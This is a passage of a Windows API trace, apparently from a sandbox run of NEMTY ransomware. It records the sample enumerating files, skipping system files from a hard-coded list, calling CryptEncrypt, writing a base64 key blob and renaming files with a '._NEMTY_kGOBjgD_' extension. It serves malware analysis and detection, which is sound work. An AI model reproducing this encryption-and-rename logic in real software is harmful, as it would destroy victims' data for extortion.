SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.766] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.766] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0209.796] CloseHandle (hObject=0xffffffff) returned 0 [0209.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0209.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0209.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0209.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0209.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0209.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0209.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.796] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-v._nemty_kgobjgd_")) returned 0 [0209.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0209.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0209.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0209.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0209.797] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-H", cAlternateFileName="KSCPC-~1")) returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2=".") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="..") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="...") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="windows") returned -1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="$RECYCLE.BIN") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="rsa") returned -1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="NTDETECT.COM") returned -1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="ntldr") returned -1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="MSDOS.SYS") returned -1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="IO.SYS") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="boot.ini") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="boot.ini") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="AUTOEXEC.BAT") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="ntuser.dat") returned -1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="desktop.ini") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="CONFIG.SYS") returned 1 [0209.797] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="RECYCLER") returned -1 [0209.798] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="BOOTSECT.BAK") returned 1 [0209.798] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="bootmgr") returned 1 [0209.798] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="programdata") returned -1 [0209.798] lstrcmpiW (lpString1="KSCpc-EUC-H", lpString2="appdata") returned 1 [0209.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-H", lpUsedDefaultChar=0x0) returned 11 [0209.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-H", lpUsedDefaultChar=0x0) returned 11 [0209.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-H", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-H", lpUsedDefaultChar=0x0) returned 11 [0209.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCpc-EUC-H", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCpc-EUC-H", lpUsedDefaultChar=0x0) returned 11 [0209.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0209.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0209.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0209.798] Sleep (dwMilliseconds=0x5) [0209.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30b07fb0, dwHighDateTime=0x1d561e8)) [0209.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x30b07fb0, dwHighDateTime=0x1d561e8)) [0209.802] GetLastError () returned 0x5 [0209.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0209.802] GetLastError () returned 0x5 [0209.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0209.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0209.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0209.803] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0209.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0209.803] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="wPhvZ1Dj9YZ8Tqo/gSlXoC18tus3ka6PlTBeGiNdLXC4TQjoAoDwmSS1RGe+6Qj4\r\n563AIbbwBDMbl1EqZxqLiDia7Dg/wBGPpiSzkmOBSGNSV4Fna4SuSc952Idg0xtU\r\nX7Si1Ld+YZN0qEBh6n/uPGOsYX3wEGBWIboG2Ei3033HLespgVAbYdL690/nF27R\r\nWYnfyatZs19hOJEZvPD5BiJu20+hGJUZsc1KYPKN1Z4dhgqS0JwvFKvuKrtISjCt\r\ngdckxCoEtfjW1136Tax5DMd+NPppGNSEJNPTkWoiVZZJgiHCUEsZBQlOyWdSznFV\r\nBOtP+cdfj3OagjebJDfDvw==\r\n", pcchString=0x653e91c) returned 1 [0209.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0209.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0209.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0209.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0209.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscpc-euc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.803] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0209.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0209.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.803] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 